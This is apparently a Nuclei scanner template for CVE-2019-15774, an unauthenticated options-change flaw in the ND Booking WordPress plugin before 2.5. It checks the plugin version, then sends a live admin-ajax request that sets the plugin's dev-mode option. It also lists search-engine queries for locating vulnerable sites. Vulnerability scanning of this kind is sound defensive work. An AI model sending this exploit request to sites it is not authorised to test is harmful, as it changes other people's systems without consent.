漏洞描述
The Hotel Booking WordPress plugin ND Booking < 2.5 was affected by an Unauthenticated Options Change security vulnerability.
id: CVE-2019-15774
info:
name: ND Booking < 2.5 - Unauthenticated Options Change
author: popcorn94
severity: medium
description: |
The Hotel Booking WordPress plugin ND Booking < 2.5 was affected by an Unauthenticated Options Change security vulnerability.
reference:
- https://wpscan.com/vulnerability/fb211b8b-5c32-40df-b197-bb51fc672b4b/
- https://blog.nintechnet.com/privilege-escalation-vulnerability-in-wordpress-nd-booking-plugin/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-15774
cwe-id: CWE-601
epss-score: 0.01231
epss-percentile: 0.78456
cpe: cpe:2.3:a:booking_project:booking:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
vendor: booking_project
product: booking
framework: wordpress
shodan-query: http.html:"/wp-content/plugins/nd-booking"
fofa-query: body="/wp-content/plugins/nd-booking/"
publicwww-query: "/wp-content/plugins/nd-booking/"
tags: cve,cve2019,wordpress,wp-plugin,nd-booking,intrusive
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/nd-booking/readme.txt"
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'Booking WP plugin')"
- compare_versions(version, '< 2.5')
condition: and
internal: true
extractors:
- type: regex
part: body
group: 1
name: version
regex:
- 'Stable tag: ([0-9.]+)'
internal: true
- raw:
- |
GET /wp-admin/admin-ajax.php?action=nd_booking_import_settings_php_function&nd_booking_value_import_settings=nd_booking_plugin_dev_mode%5Bnd_booking_option_value%5D1 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
words:
- "Updated option \"nd_booking_plugin_dev_mode\" with the same value."
- "Updated option \"nd_booking_plugin_dev_mode\" with 1."
condition: or
- type: status
status:
- 200
# digest: 4a0a00473045022100a3a5b2a3cc191c368328985b0c09066a2e19cf87853ab81874fa781fbbe3ae9a02200ef4824a07b4d1aa4f09eab0064f19eeaf528b970aaa6f16bd44791adb8a6a80:922c64590222798bb761d5b6d8e72950